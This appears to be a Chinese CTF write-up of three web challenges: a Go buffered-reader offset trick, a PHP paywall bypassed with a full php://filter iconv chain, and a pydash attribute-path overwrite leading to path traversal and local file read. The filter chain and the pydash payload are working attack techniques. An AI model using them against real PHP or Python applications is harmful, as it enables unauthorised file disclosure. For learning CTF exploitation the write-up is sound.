第一题(忘记叫啥了)
环境docker有问题,没有办法进行第二步操作所以就跟着wp直接看代码复现一下吧
首先访问/just-read-it进入justReadIt
我们只要运行到程序的最后就可以拿到flag
func justReadIt(w http.ResponseWriter, r *http.Request) {
defer r.Body.Close()
body, err := ioutil.ReadAll(r.Body)
if err != nil {
w.WriteHeader(500)
w.Write([]byte("bad request\n"))
return
}
reqData := ReadOrderReq{}
if err := json.Unmarshal(body, &reqData); err != nil {
w.WriteHeader(500)
w.Write([]byte("invalid body\n"))
return
}
if len(reqData.Orders) > MaxOrders {
w.WriteHeader(500)
w.Write([]byte("whoa there, max 10 orders!\n"))
return
}
reader := bytes.NewReader(randomData)
validator := NewValidator()
ctx := context.Background()
for _, o := range reqData.Orders {
if err := validator.CheckReadOrder(o); err != nil {
w.WriteHeader(500)
w.Write([]byte(fmt.Sprintf("error: %v\n", err)))
return
}
ctx = WithValidatorCtx(ctx, reader, int(o))
_, err := validator.Read(ctx)
if err != nil {
w.WriteHeader(500)
w.Write([]byte(fmt.Sprintf("failed to read: %v\n", err)))
return
}
}
if err := validator.Validate(ctx); err != nil {
w.WriteHeader(500)
w.Write([]byte(fmt.Sprintf("validation failed: %v\n", err)))
return
}
w.WriteHeader(200)
w.Write([]byte(os.Getenv("FLAG")))
}
先接收来自post传入的json数据解析保存到reqData中
在下面可以发现接收来自“Orders”的int数据
type ReadOrderReq struct {
Orders []int `json:"orders"`
}
后面初始化了一个reader
func initRandomData() {
rand.Seed(1337)
randomData = make([]byte, 24576)
if _, err := rand.Read(randomData); err != nil {
panic(err)
}
copy(randomData[12625:], password[:])
}
可以看到randomData是由initRandomData初始化的
在最后发现password复制在了12625之后
for _, o := range reqData.Orders {
if err := validator.CheckReadOrder(o); err != nil {
w.WriteHeader(500)
w.Write([]byte(fmt.Sprintf("error: %v\n", err)))
return
}
ctx = WithValidatorCtx(ctx, reader, int(o))
_, err := validator.Read(ctx)
if err != nil {
w.WriteHeader(500)
w.Write([]byte(fmt.Sprintf("failed to read: %v\n", err)))
return
}
}
在这里对reqFata.Orders进行遍历,调用了validator.CheckReadOrder对orders中的数据进行检查
func (v *Validator) CheckReadOrder(o int) error {
if o <= 0 || o > 100 {
return fmt.Errorf("invalid order %v", o)
}
return nil
}
检查里面的int数值是否在0~100之间,之后用validator.Read对里面的数据
if err := validator.Validate(ctx); err != nil {
w.WriteHeader(500)
w.Write([]byte(fmt.Sprintf("validation failed: %v\n", err)))
return
}
w.WriteHeader(200)
w.Write([]byte(os.Getenv("FLAG")))
最后调用validator.Validate
func (v *Validator) Validate(ctx context.Context) error {
r, _ := GetValidatorCtxData(ctx)
buf, err := v.Read(WithValidatorCtx(ctx, r, 32))
if err != nil {
return err
}
if bytes.Compare(buf, password[:]) != 0 {
return errors.New("invalid password")
}
return nil
}
读取32位,之后跟password进行比较,成功就能拿到flag
而之前的password复制在了12625之后,并且orders数组最多容量10个数字
每个取最大100一共10个也就是1000,距离12625还有很大
func (v *Validator) Read(ctx context.Context) ([]byte, error) {
r, s := GetValidatorCtxData(ctx)
buf := make([]byte, s)
_, err := r.Read(buf)
if err != nil {
return nil, fmt.Errorf("read error: %v", err)
}
return buf, nil
}
%%调用到了GetValidatorCtxData函数%%
func GetValidatorCtxData(ctx context.Context) (io.Reader, int) {
reader := ctx.Value(reqValReaderKey).(io.Reader)
size := ctx.Value(reqValSizeKey).(int)
if size >= 100 {
reader = bufio.NewReader(reader)
}
return reader, size
}
可以发现如果size是100的话那么就会调用一次bufio.NewReader
func NewReader(rd io.Reader) *Reader {
return NewReaderSize(rd, defaultBufSize)
}
进行一次defaultBufSize覆盖,而他的大小是4096,也就是我们一个100就是4096,我们只需要让我们剩余输入的10个数加起来等于12625即可
simple-file-server
用tar解压的,搭建起来拉取镜像有问题,总是时间超时,但是上网可以找到公开镜像,后续会进行搭建
Paywall
<?php if (isset($_GET['source'])) highlight_file(__FILE__) && die() ?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="assets/style.css">
<title>The idek Times</title>
</head>
<body>
<main>
<nav>
<h1>The idek Times</h1>
</nav>
<?php
error_reporting(0);
set_include_path('articles/');
if (isset($_GET['p'])) {
$article_content = file_get_contents($_GET['p'], 1);
if (strpos($article_content, 'PREMIUM') === 0) {
die('Thank you for your interest in The idek Times, but this article is only for premium users!'); // TODO: implement subscriptions
}
else if (strpos($article_content, 'FREE') === 0) {
echo "<article>$article_content</article>";
die();
}
else {
die('nothing here');
}
}
?>
<a href="/?p=flag">
<article>
<h2>All about flags</h2>
<p>Click to view</p>
</article>
</a>
<a href="/?p=hello-world">
<article>
<h2>My first post!</h2>
<p>Click to view</p>
</article>
</a>
<a href="/?source" id="source">Source</a>
</main>
</body>
</html>
阅读index.php源码可以发现,在主页中有两个可以点击的标志,我们点进去发现下面的
Hello World
是以FREE开头的并且可以打开看到,而上面的flag点击获得提示
Thank you for your interest in The idek Times, but this article is only for premium users!
查看一下代码中的检测逻辑
<?php
error_reporting(0);
set_include_path('articles/');
if (isset($_GET['p'])) {
$article_content = file_get_contents($_GET['p'], 1);
if (strpos($article_content, 'PREMIUM') === 0) {
die('Thank you for your interest in The idek Times, but this article is only for premium users!'); // TODO: implement subscriptions
}
else if (strpos($article_content, 'FREE') === 0) {
echo "<article>$article_content</article>";
die();
}
else {
die('nothing here');
}
}
?>
接收一个get参数P并且读入文件,如果文件开头是FREE
就可以读取到如果文件开头是PREMIUM
那么就结束程序并且die
所以如果我们希望读取到flag中的内容就必须让file_get_contents
读取到的文件中的内容开头变为FREE
。
我们知道file_get_contents
是接收php的协议流的而且有些协议流是可以更改读取到的内容的,比如fiilter流的string.rot13、base64等,所以我们需要找到一套协议链来构造出以FREE
开头并且读取到文件内容的协议流
这里提供一个自动化生成的php协议流生成脚本,他提供了有生成开头字母。
php_filter_chain
python3 php_filter_chain.py --chain 'FREE'
可以看到我们读取到了里面的内容但是里面出现了乱码,我们看看生成的协议链可以看到最后的链子是进行了一次base64的解码,也就是说它在最后base64解码的时候出现了偏差,而我们知道base64解码的时候会对每4位进行检查,所以说我们需要`FREE`后面填充垃圾字符串让base64成功解析出flag文件中的内容
我们只需要一个一个添加即可
最后发现添加两个空格即可拿到flag
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=flag
task manager
需要慢慢复现,这题的量有点大,先简单梳理了一下逻辑
在这里可以看到
可以看到是通过os.path.pardir
来对目录穿越进行了保护,但是我们可以通过修改pardir
的值来绕过。
在taskmanager.py
里面调用pydash.set_()
可以通过实例化的TaskManager
对象利用特殊属性实现对app
对象的修改:
pydash.set_(
TaskManager(),
'__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.xxx',
'xxx'
)
所以我们可以覆盖掉path
在题目提供的dockerfile中可以看到flag是写入了dockerfile中的
直接LFI读取题目的dockerfile就可以拿到flag